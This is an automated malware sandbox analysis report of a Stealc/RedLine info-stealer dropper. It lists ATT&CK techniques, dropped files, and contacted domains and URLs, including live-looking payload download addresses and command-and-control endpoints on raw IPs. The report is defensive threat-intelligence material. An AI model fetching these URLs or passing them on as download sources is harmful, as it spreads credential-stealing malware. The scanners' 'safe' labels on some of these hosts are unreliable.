Employee Names	Virtual Private Server	Local Accounts	11 Scheduled Task/Job	11 Scheduled Task/Job	1 Windows Service	3 Obfuscated Files or Information	NTDS	177 System Information Discovery	Distributed Component Object Model	1 Clipboard Data	125 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	2 Registry Run Keys / Startup Folder	312 Process Injection	21 Software Packing	LSA Secrets	1 Query Registry	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Scheduled Task/Job	1 Timestomp	Cached Domain Credentials	351 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	2 Registry Run Keys / Startup Folder	11 DLL Side-Loading	DCSync	141 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 File Deletion	Proc Filesystem	13 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	31 Masquerading	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Modify Registry	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	141 Virtualization/Sandbox Evasion	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	1 Access Token Manipulation	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking
Determine Physical Locations	Virtual Private Server	Compromise Hardware Supply Chain	Unix Shell	Systemd Timers	Systemd Timers	312 Process Injection	GUI Input Capture	Permission Groups Discovery	Replication Through Removable Media	Email Collection	Proxy	Exfiltration over USB	Network Denial of Service
Business Relationships	Server	Trusted Relationship	Visual Basic	Container Orchestration Job	Container Orchestration Job	1 Hidden Files and Directories	Web Portal Capture	Local Groups	Component Object Model and Distributed COM	Local Email Collection	Internal Proxy	Commonly Used Port	Direct Network Flood

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	22%	ReversingLabs	Win32.Spyware.Stealc
file.exe	34%	Virustotal		Browse
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\tiktok[1].exe	47%	ReversingLabs	Win32.Spyware.Stealc
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\RtkBtManServ.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\browser_broker.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\notepad.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\JKJKJJDBKE.exe	47%	ReversingLabs	Win32.Spyware.Stealc
C:\Users\user\AppData\Local\Temp\hmgv	65%	ReversingLabs	ByteCode-MSIL.Trojan.RedLine
C:\Users\user\AppData\Local\Temp\iolo\dm\BIT3C1E.tmp	12%	ReversingLabs
C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe (copy)	12%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsg4683.tmp\INetC.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\u5do.2\UIxMarketPlugin.dll	18%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\u5do.2\relay.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\u5do.2\run.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\u5do.3.exe	4%	ReversingLabs
C:\Users\user\AppData\Roaming\SecureClient\UIxMarketPlugin.dll	18%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Roaming\SecureClient\relay.dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
env-3936544.jcloud.kz	5%	Virustotal	Browse
monoblocked.com	16%	Virustotal	Browse
helsinki-dtc.com	3%	Virustotal	Browse
c.574859385.xyz	9%	Virustotal	Browse
download.iolo.net	0%	Virustotal	Browse
skrptfiles.tracemonitors.com	1%	Virustotal	Browse
www.rapidfilestorage.com	2%	Virustotal	Browse
240216234727901.mjj.xne26.cfd	0%	Virustotal	Browse
note.padd.cn.com	1%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://ocsp.sectigo.com0	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
http://www.indyproject.org/	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://sectigo.com/CPS0D	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	100%	URL Reputation	malware
https://go.micro	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	0%	URL Reputation	safe
http://185.172.128.59/ISetup1.exe	0%	Avira URL Cloud	safe
http://185.172.128.228/BroomSetup.exe	0%	Avira URL Cloud	safe
http://240216234727901.mjj.xne26.cfd	0%	Avira URL Cloud	safe
http://185.172.128.76/3cd2b41cbde8fc9c.php4.	0%	Avira URL Cloud	safe
https://monoblocked.com/385128/setup.exe	100%	Avira URL Cloud	malware
http://185.172.128.76/15f649199f40275b/nss3.dll	0%	Avira URL Cloud	safe
http://185.172.128.228/BroomSetup.exe	23%	Virustotal		Browse
https://monoblocked.com/385128/setup.exe	15%	Virustotal		Browse
http://185.172.128.59/ISetup1.exe	20%	Virustotal		Browse
http://240216234727901.mjj.xne26.cfd	0%	Virustotal		Browse
http://185.172.128.76/3cd2b41cbde8fc9c.php70e7ad0fea9dd580957f3efcf47e4-release	0%	Avira URL Cloud	safe
http://185.172.128.228/ping.php?substr=one	100%	Avira URL Cloud	malware
http://185.172.128.228/ping.php?substr=one	18%	Virustotal		Browse
http://185.172.128.76/15f649199f40275b/mozglue.dll	0%	Avira URL Cloud	safe
http://185.172.128.76/15f649199f40275b/nss3.dll	0%	Virustotal		Browse
http://185.172.128.203/tiktok.exe	100%	Avira URL Cloud	malware
http://185.172.128.203/tiktok.exe00	0%	Avira URL Cloud	safe
http://185.172.128.76/3cd2b41cbde8fc9c.php	0%	Avira URL Cloud	safe
http://185.172.128.76uj	0%	Avira URL Cloud	safe
http://185.172.128.76/3cd2b41cbde8fc9c.phpCw	0%	Avira URL Cloud	safe
http://185.172.128.76/15f649199f40275b/mozglue.dll	0%	Virustotal		Browse
http://185.172.128.76/15f649199f40275b/msvcp140.dll	0%	Avira URL Cloud	safe
http://185.172.128.203/tiktok.exe00	15%	Virustotal		Browse
http://185.172.128.76/15f649199f40275b/sqlite3.dll	0%	Avira URL Cloud	safe
https://download.iolo.net/sm/24/11A12794-499E-4FA0-A281-A9A9AA8B2685/24.3.0.57/SystemMechanic.exe.06	0%	Avira URL Cloud	safe
http://185.172.128.76/3cd2b41cbde8fc9c.php	15%	Virustotal		Browse
http://note.padd.cn.com/1/Package.zip	0%	Avira URL Cloud	safe
http://185.172.128.203/tiktok.exe	20%	Virustotal		Browse
http://185.172.128.76/15f649199f40275b/msvcp140.dll	0%	Virustotal		Browse
http://crl.microL	0%	Avira URL Cloud	safe
http://185.172.128.90/cpa/ping.php?substr=one&s=ab&sub=28381000	100%	Avira URL Cloud	malware
http://185.172.128.76/15f649199f40275b/sqlite3.dll	9%	Virustotal		Browse
http://crl.ver)	0%	Avira URL Cloud	safe
http://note.padd.cn.com/1/Package.zip	3%	Virustotal		Browse
http://185.172.128.76/15f649199f40275b/softokn3.dll	0%	Avira URL Cloud	safe
https://download.iolo.net/sm/24/11A12794-499E-4FA0-A281-A9A9AA8B2685/24.3.0.57/SystemMechanic.exe7C:	0%	Avira URL Cloud	safe
http://185.172.128.59/syncUpd.exe	100%	Avira URL Cloud	malware
http://185.172.128.76/15f649199f40275b/freebl3.dll	0%	Avira URL Cloud	safe
http://185.172.128.203/tiktok.exe=	0%	Avira URL Cloud	safe
http://185.172.128.76/15f649199f40275b/softokn3.dllj?:	0%	Avira URL Cloud	safe
http://185.172.128.76/15f649199f40275b/mozglue.dll0?	0%	Avira URL Cloud	safe
http://185.172.128.59/syncUpd.exe	23%	Virustotal		Browse
https://download.iolo.net/sm/24/11A12794-499E-4FA0-A281-A9A9AA8B2685/24.3.0.57/SystemMechanic.exe7C:	0%	Virustotal		Browse
https://c.574859385.xyz/385128/setup.exe	0%	Avira URL Cloud	safe
http://185.172.128.76/15f649199f40275b/freebl3.dll	0%	Virustotal		Browse
https://download.iolo.net/sm/24/11A12794-499E-4FA0-A281-A9A9AA8B2685/24.3.0.57/SystemMechanic.exe.06	0%	Virustotal		Browse
https://download.iolo.net/sm/24/11A12794-499E-4FA0-A281-A9A9AA8B2685/24.3.0.57/SystemMechanic.exe	0%	Avira URL Cloud	safe
http://185.172.128.203/tiktok.exet-Disposition:	0%	Avira URL Cloud	safe
http://185.172.128.76/15f649199f40275b/softokn3.dll	0%	Virustotal		Browse
http://185.172.128.76/15f649199f40275b/vcruntime140.dll	0%	Avira URL Cloud	safe
http://download.iolo.net	0%	Avira URL Cloud	safe
http://185.172.128.203/tiktok.exe$	0%	Avira URL Cloud	safe
http://185.172.128.76	0%	Avira URL Cloud	safe
http://240216234727901.mjj.xne26.cfd/f/fvgbm0216901.txt	0%	Avira URL Cloud	safe
http://185.172.128.76/15f649199f40275b/vcruntime140.dllUM	0%	Avira URL Cloud	safe
http://185.172.128.76/15f649199f40275b/nss3.dllf	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
env-3936544.jcloud.kz	185.22.66.16	true	false	5%, Virustotal, Browse	unknown
monoblocked.com	45.130.41.108	true	false	16%, Virustotal, Browse	unknown
d1u0l9f6kr1di3.cloudfront.net	13.32.87.18	true	false		high
helsinki-dtc.com	194.67.87.38	true	false	3%, Virustotal, Browse	unknown
c.574859385.xyz	37.221.125.202	true	true	9%, Virustotal, Browse	unknown
iolo0.b-cdn.net	195.181.163.196	true	false		high
dsepc5ud74wta.cloudfront.net	13.249.105.199	true	false		high
note.padd.cn.com	176.97.76.106	true	false	1%, Virustotal, Browse	unknown
svc.iolo.com	20.157.87.45	true	false		high
skrptfiles.tracemonitors.com	unknown	unknown	true	1%, Virustotal, Browse	unknown
download.iolo.net	unknown	unknown	true	0%, Virustotal, Browse	unknown
www.rapidfilestorage.com	unknown	unknown	true	2%, Virustotal, Browse	unknown
240216234727901.mjj.xne26.cfd	unknown	unknown	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://monoblocked.com/385128/setup.exe	true	15%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.172.128.228/BroomSetup.exe	false	23%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.172.128.59/ISetup1.exe	false	20%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.172.128.76/15f649199f40275b/nss3.dll	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.172.128.228/ping.php?substr=one	false	18%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://dsepc5ud74wta.cloudfront.net/load/dl.php?id=444	false		high
http://185.172.128.76/15f649199f40275b/mozglue.dll	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.172.128.203/tiktok.exe	false	20%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.172.128.76/3cd2b41cbde8fc9c.php	true	15%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://dsepc5ud74wta.cloudfront.net/load/dl.php?id=425&c=1000	false		high
http://185.172.128.76/15f649199f40275b/msvcp140.dll	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://svc.iolo.com/__svc/sbv/DownloadManager.ashx	false		high
http://185.172.128.76/15f649199f40275b/sqlite3.dll	true	9%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://note.padd.cn.com/1/Package.zip	false	3%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://dsepc5ud74wta.cloudfront.net/load/th.php?c=1000	false		high
http://185.172.128.90/cpa/ping.php?substr=one&s=ab&sub=28381000	true	Avira URL Cloud: malware	unknown
http://185.172.128.76/15f649199f40275b/softokn3.dll	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.172.128.59/syncUpd.exe	false	23%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://dsepc5ud74wta.cloudfront.net/load/load.php?c=1000	false		high
http://185.172.128.76/15f649199f40275b/freebl3.dll	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://c.574859385.xyz/385128/setup.exe	false	Avira URL Cloud: safe	unknown
https://download.iolo.net/sm/24/11A12794-499E-4FA0-A281-A9A9AA8B2685/24.3.0.57/SystemMechanic.exe	false	Avira URL Cloud: safe	unknown
http://185.172.128.76/15f649199f40275b/vcruntime140.dll	true	Avira URL Cloud: safe	unknown
https://dsepc5ud74wta.cloudfront.net/load/dl.php?id=456	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://240216234727901.mjj.xne26.cfd	powershell.exe, 00000007.00000002.2063150468.00000000052EF000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://duckduckgo.com/chrome_newtab	u5do.0.exe, 00000008.00000003.2163226468.0000000004216000.00000004.00000020.00020000.00000000.sdmp, IIECFHDB.8.dr	false		high
https://duckduckgo.com/ac/?q=	u5do.0.exe, 00000008.00000003.2163226468.0000000004216000.00000004.00000020.00020000.00000000.sdmp, IIECFHDB.8.dr	false		high
http://185.172.128.76/3cd2b41cbde8fc9c.php4.	u5do.0.exe, 00000008.00000002.2524680807.00000000041CA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.vmware.com/0	run.exe, 0000000B.00000002.2250614344.00000000034D6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2449533153.000000000587B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0	i1.exe, 00000006.00000003.2228626485.00000000074AC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://dsepc5ud74wta.cloudfront.net/load/load.php?c=1000L	file.exe, 00000000.00000002.2202726324.00000000004F1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2201263474.00000000004F1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dsepc5ud74wta.cloudfront.net/P	file.exe, 00000000.00000002.2202781227.000000000051E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2201263474.0000000000513000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2201364839.000000000051C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://svc.iolo.com/__svc/sbv/DownloadManager.ashx.	u5do.3.exe, 00000011.00000003.2416450118.00000000027B6000.00000004.00001000.00020000.00000000.sdmp, u5do.3.exe, 00000011.00000003.2416450118.0000000002819000.00000004.00001000.00020000.00000000.sdmp, u5do.3.exe, 00000011.00000003.2416450118.0000000002854000.00000004.00001000.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000007.00000002.2066528170.00000000060F8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.172.128.76/3cd2b41cbde8fc9c.php70e7ad0fea9dd580957f3efcf47e4-release	u5do.0.exe, 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000026.00000003.2255870893.0000020E72A30000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.38.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	u5do.0.exe, 00000008.00000003.2163226468.0000000004216000.00000004.00000020.00020000.00000000.sdmp, IIECFHDB.8.dr	false		high
http://www.indyproject.org/	i1.exe, 00000006.00000003.2228626485.00000000070C0000.00000004.00000020.00020000.00000000.sdmp, u5do.3.exe, 00000011.00000000.2221929722.000000000041C000.00000020.00000001.01000000.00000012.sdmp, u5do.3.exe, 00000011.00000003.2416450118.0000000002812000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://google.com	i1.exe, 00000006.00000003.2228626485.00000000070C0000.00000004.00000020.00020000.00000000.sdmp, u5do.3.exe, 00000011.00000000.2221929722.000000000041C000.00000020.00000001.01000000.00000012.sdmp	false		high
http://185.172.128.203/tiktok.exe00	u5do.0.exe, 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmp	false	15%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://dsepc5ud74wta.cloudfront.net/	file.exe, 00000000.00000002.2202781227.000000000051E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2201263474.0000000000513000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2201364839.000000000051C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.172.128.76/3cd2b41cbde8fc9c.phpCw	u5do.0.exe, 00000008.00000003.2163332935.00000000041FA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.172.128.76uj	u5do.0.exe, 00000008.00000002.2524569287.000000000416E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://dsepc5ud74wta.cloudfront.net	powershell.exe, 00000007.00000002.2063150468.00000000051E5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6lB	powershell.exe, 00000007.00000002.2063150468.0000000005091000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	u5do.0.exe, 00000008.00000003.2163226468.0000000004216000.00000004.00000020.00020000.00000000.sdmp, IIECFHDB.8.dr	false		high
https://contoso.com/	powershell.exe, 00000007.00000002.2066528170.00000000060F8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000007.00000002.2066528170.00000000060F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sectigo.com/CPS0D	i1.exe, 00000006.00000003.2228626485.00000000074AC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000007.00000002.2063150468.0000000005091000.00000004.00000800.00020000.00000000.sdmp	false		high
https://dsepc5ud74wta.cloudfront.net/load/load.php?c=1000X&?	file.exe, 00000000.00000002.2202593128.00000000004E4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://download.iolo.net/sm/24/11A12794-499E-4FA0-A281-A9A9AA8B2685/24.3.0.57/SystemMechanic.exe.06	u5do.3.exe, 00000011.00000003.2416450118.00000000027D4000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.sqlite.org/copyright.html.	u5do.0.exe, 00000008.00000002.2550476851.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, u5do.0.exe, 00000008.00000002.2536462612.000000001E770000.00000004.00000020.00020000.00000000.sdmp	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000007.00000002.2066528170.00000000060F8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.mozilla.com/en-US/blocklist/	u5do.0.exe, u5do.0.exe, 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmp	false		high
https://mozilla.org0/	freebl3[1].dll.8.dr	false	URL Reputation: safe	unknown
http://crl.microL	powershell.exe, 00000007.00000002.2062470395.0000000003343000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	u5do.0.exe, 00000008.00000003.2163226468.0000000004216000.00000004.00000020.00020000.00000000.sdmp, IIECFHDB.8.dr	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000007.00000002.2063150468.00000000051E5000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000007.00000002.2063150468.00000000051E5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000007.00000002.2063150468.0000000005874000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000007.00000002.2066528170.00000000060F8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.vmware.com/0/	run.exe, 0000000B.00000002.2250614344.00000000034D6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2449533153.000000000587B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	u5do.0.exe, 00000008.00000003.2163226468.0000000004216000.00000004.00000020.00020000.00000000.sdmp, IIECFHDB.8.dr	false		high
http://crl.ver)	svchost.exe, 00000026.00000002.3224348083.0000020E72C00000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://upx.sf.net	Amcache.hve.29.dr	false		high
http://gdlp01.c-wss.com/rmds/ic/universalinstaller/common/checkconnection	run.exe, 0000000B.00000002.2248865521.000000000049C000.00000002.00000001.01000000.0000000D.sdmp, run.exe, 0000000B.00000000.2182482362.000000000049C000.00000002.00000001.01000000.0000000D.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	file.exe	false		high
https://www.ecosia.org/newtab/	u5do.0.exe, 00000008.00000003.2163226468.0000000004216000.00000004.00000020.00020000.00000000.sdmp, IIECFHDB.8.dr	false		high
http://www.symauth.com/cps0(	run.exe, 0000000B.00000002.2250614344.00000000034D6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2449533153.000000000587B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://download.iolo.net/sm/24/11A12794-499E-4FA0-A281-A9A9AA8B2685/24.3.0.57/SystemMechanic.exe7C:	svchost.exe, 00000026.00000003.2419747911.0000020E72A3B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000026.00000002.3224315897.0000020E72BA0000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000026.00000002.3222968028.0000020E6DF00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000026.00000002.3225085084.0000020E72FD0000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000026.00000002.3223218255.0000020E6E340000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000026.00000003.2346417204.0000020E72A31000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	BKKJKFBKKECFHJKEBKEHIDAEBK.8.dr	false		high
https://github.com/Pester/Pester	powershell.exe, 00000007.00000002.2063150468.00000000051E5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	u5do.0.exe, 00000008.00000003.2163226468.0000000004216000.00000004.00000020.00020000.00000000.sdmp, IIECFHDB.8.dr	false		high
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	i1.exe, 00000006.00000003.2228626485.00000000074AC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://g.live.com/odclientsettings/Prod/C:	svchost.exe, 00000026.00000003.2255870893.0000020E72AA3000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.38.dr	false		high
https://dsepc5ud74wta.cloudfront.net/load/load.php?c=1000h1	file.exe, 00000000.00000002.2202852675.000000000055A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1989017992.000000000055A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.172.128.203/tiktok.exe=	u5do.0.exe, 00000008.00000002.2524680807.00000000041E6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.172.128.76/15f649199f40275b/softokn3.dllj?:	u5do.0.exe, 00000008.00000002.2524680807.00000000041CA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.symauth.com/rpa00	run.exe, 0000000B.00000002.2250614344.00000000034D6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2449533153.000000000587B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	i1.exe, 00000006.00000003.2228626485.00000000074AC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.172.128.76/15f649199f40275b/mozglue.dll0?	u5do.0.exe, 00000008.00000002.2524680807.00000000041CA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dsepc5ud74wta.cloudfront.net/l	powershell.exe, 00000007.00000002.2063150468.0000000005300000.00000004.00000800.00020000.00000000.sdmp	false		high
https://dsepc5ud74wta.cloudfront.net/load/load.php?c=1000/silentget	file.exe, 00000000.00000002.2202593128.00000000004E4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	BKKJKFBKKECFHJKEBKEHIDAEBK.8.dr	false		high
http://www.info-zip.org/	run.exe, 0000000B.00000002.2250614344.0000000003480000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2449533153.0000000005832000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.172.128.203/tiktok.exet-Disposition:	u5do.0.exe, 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmp	false	Avira URL Cloud: safe	unknown
http://download.iolo.net	i1.exe, 00000006.00000003.2228626485.00000000070C0000.00000004.00000020.00020000.00000000.sdmp, u5do.3.exe, 00000011.00000000.2221929722.000000000041C000.00000020.00000001.01000000.00000012.sdmp	false	Avira URL Cloud: safe	unknown
http://185.172.128.203/tiktok.exe$	u5do.0.exe, 00000008.00000002.2524680807.00000000041E6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org	BKKJKFBKKECFHJKEBKEHIDAEBK.8.dr	false		high
http://185.172.128.76	u5do.0.exe, 00000008.00000002.2524569287.000000000416E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://240216234727901.mjj.xne26.cfd/f/fvgbm0216901.txt	powershell.exe, 00000007.00000002.2063150468.00000000052D5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2063150468.00000000052EF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2063150468.00000000052EB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.172.128.76/15f649199f40275b/vcruntime140.dllUM	u5do.0.exe, 00000008.00000002.2524680807.00000000041CA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	u5do.0.exe, 00000008.00000003.2163226468.0000000004216000.00000004.00000020.00020000.00000000.sdmp, IIECFHDB.8.dr	false		high
